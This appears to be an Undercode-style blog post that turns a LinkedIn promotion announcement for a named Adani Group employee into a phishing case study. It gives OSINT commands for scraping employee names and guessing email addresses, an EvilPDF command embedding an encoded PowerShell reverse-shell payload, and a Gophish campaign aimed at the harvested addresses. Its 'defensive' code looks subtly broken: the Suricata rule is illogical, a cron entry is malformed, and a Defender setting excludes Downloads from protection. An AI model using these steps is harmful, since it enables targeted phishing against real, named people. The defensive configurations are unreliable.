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Introduction:
Corporate promotion announcements on professional networks like LinkedIn provide a goldmine of open-source intelligence (OSINT) for threat actors. While celebrating career milestones, organizations inadvertently disclose internal hierarchies, reporting structures, and key personnel—information that can be weaponized for spear-phishing, business email compromise (BEC), or lateral movement attacks. This article dissects how a seemingly benign post about Neetesh Jain’s elevation at Adani Group can be exploited, and provides actionable defensive techniques, including Linux/Windows commands and tool configurations.
Learning Objectives:
- Identify and extract exploitable metadata (job titles, reporting lines, colleagues’ endorsements) from public LinkedIn posts.
- Execute OSINT gathering techniques using command-line tools and browser automation to map organizational charts.
- Implement detection and mitigation strategies against social engineering attacks that leverage corporate leadership announcements.
You Should Know:
1. Harvesting Corporate Hierarchy via OSINT Commands
The post reveals Neetesh Jain’s new role (Deputy General Manager) and the congratulatory comments from other Adani Group employees (e.g., Varun Bhavasar, Sudhakar Palivela, Rituraj Mehta). Attackers can scrape this data to build an internal org chart.
Linux OSINT Commands (using `linkedin2username` and `theHarvester`):
Clone and install linkedin2username to scrape employee names from a company profile git clone https://github.com/initstring/linkedin2username cd linkedin2username pip install -r requirements.txt python linkedin2username.py -c "Adani Group" -o adani_users.txt Use theHarvester to find email patterns and subdomains linked to the domain theHarvester -d adani.com -b linkedin,google -f adani_osint.html Extract potential email formats from common patterns ([email protected]) cut -d',' -f1 adani_users.txt | awk '{print tolower($1)"."tolower($2)"@adani.com"}' > potential_emails.txt
Windows PowerShell (using `Invoke-WebRequest` and LinkedIn’s public API):
Download the LinkedIn profile page (requires session cookie; for educational purposes only)
$cookie = New-Object System.Net.Cookie("li_at", "YOUR_LI_AT_TOKEN")
$web = Invoke-WebRequest -Uri "https://www.linkedin.com/in/neetesh-jain-example/" -WebSession (New-Object Microsoft.PowerShell.Commands.WebRequestSession) -UserAgent "Mozilla/5.0"
$web.ParsedHtml.getElementsByTagName("span") | Where-Object {$_.className -eq "display-name"} | Select-Object innerText
Use PowerSploit’s Get-EmailRegex to extract emails from saved HTML
Get-Content .\adani_page.html | Select-String -Pattern "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+.[A-Z|a-z]{2,}\b" | Out-File emails.txt
2. Spear-Phishing Payload Construction Based on Promotion Context
The post includes phrases like “driving key strategic and operational initiatives” and “long-term vision.” Attackers can craft convincing emails referencing these details to trick Neetesh or his colleagues into opening malicious attachments or divulging credentials.
Step-by-step guide to create a simulated phishing template:
- Step 1: Extract exact wording from the post (e.g., “business excellence”, “expansion plans”).
- Step 2: Clone a legitimate Adani Group email signature from public sources (use `theHarvester` to find email formats).
- Step 3: Generate a malicious PDF macro or link using `evilpdf` (Linux) or `PhishTool` (Windows).
Linux: Create a PDF with an embedded malicious macro (EvilPDF) git clone https://github.com/merlineffect/EvilPDF cd EvilPDF python evilpdf.py -p "Congratulations_Neetesh.pdf" -c "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA" (base64 encoded payload for reverse shell)
- Step 4: Set up an SMTP relay for testing (e.g., Gophish on Linux):
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip unzip gophish-.zip sudo ./gophish Access https://localhost:3333, create campaign targeting extracted emails.
3. Defensive Hardening: Monitoring for Executive Impersonation
Organizations must assume that such promotions will be targeted. Implement detection rules for BEC and fake executive requests.
Suricata IDS rule to detect LinkedIn scraping attempts:
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"LinkedIn OSINT Scraping"; flow:to_server; http.user_agent; content:"Mozilla/5.0"; http.uri; content:"/in/"; depth:5; pcre:"/\/in\/[A-Za-z0-9-]{5,30}/"; threshold:type both, track by_src, count 50, seconds 60; sid:1000001;)
Windows PowerShell script to alert on anomalous email rules (BEC indicator):
Monitor for creation of inbox rules that forward to external domains
$events = Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} | Where-Object {$<em>.Message -match "Object Type:\s+File" -and $</em>.Message -match "\Rules\"}
if ($events) {
Send-MailMessage -To "[email protected]" -Subject "Suspicious Inbox Rule Created" -Body $events.Message -SmtpServer "internal-smtp"
}
4. Cloud Hardening: Protecting Executives’ LinkedIn OAuth Tokens
Attackers who compromise a Deputy General Manager’s LinkedIn account can access private messages, connections, and even issue fake recommendations. Hardening OAuth and session management is critical.
Step-by-step guide to revoke and rotate OAuth tokens via API (Linux):
Using cURL with LinkedIn’s OAuth 2.0 endpoint (requires Client ID/Secret) curl -X POST "https://www.linkedin.com/oauth/v2/revoke" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "token=YOUR_ACCESS_TOKEN&client_id=YOUR_CLIENT_ID&client_secret=YOUR_CLIENT_SECRET" Automate token rotation with cron job (daily at 3 AM) (crontab -l ; echo "0 3 /usr/bin/curl -X POST https://www.linkedin.com/oauth/v2/accessToken -d 'grant_type=refresh_token&refresh_token=REFRESH_TOKEN&client_id=ID&client_secret=SECRET' >> /var/log/linkedin_token_rotate.log") | crontab -
5. Vulnerability Exploitation via Congratulatory Comments (Client-Side)
The comment section contains multiple verified profiles (e.g., Prince ., Sudhakar Palivela). An attacker could reply to a comment with a malicious link disguised as “view detailed promotion announcement” or “download congratulatory e-card.” This leverages trust between colleagues.
Mitigation: Implement browser isolation and safe-link scanning:
Linux: Set up Caddy reverse proxy with URL rewriting to force safe.browsing.com scanning
sudo apt install caddy
cat <<EOF > Caddyfile
adani.com {
route {
rewrite / /?original={uri}&scan=true
reverse_proxy safe-browsing-proxy:8080
}
}
EOF
caddy run
Windows: Configure Microsoft Defender SmartScreen to block newly registered domains (often used in phishing):
Set-MpPreference -EnableNetworkProtection Enabled Set-MpPreference -PUAProtection Enabled Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\Downloads"
What Undercode Say:
- Key Takeaway 1: Public promotion announcements are not just HR news—they are tactical intelligence for threat actors. Organizations must treat executive social media activity as sensitive data.
- Key Takeaway 2: Defending against these threats requires a blend of OSINT monitoring (to know what attackers see), email rule auditing, and client-side protections like isolated browsing. No single tool suffices.
Prediction:
By 2027, AI-driven OSINT bots will automatically scrape LinkedIn for organizational changes and generate custom phishing lures within minutes. Defenders will need to deploy adversarial AI that poisons these scrapers with fake employee profiles and honeytoken emails, shifting the cat-and-mouse game to real-time deception.
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Reported By: Leadershipmovement Adanigroup – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
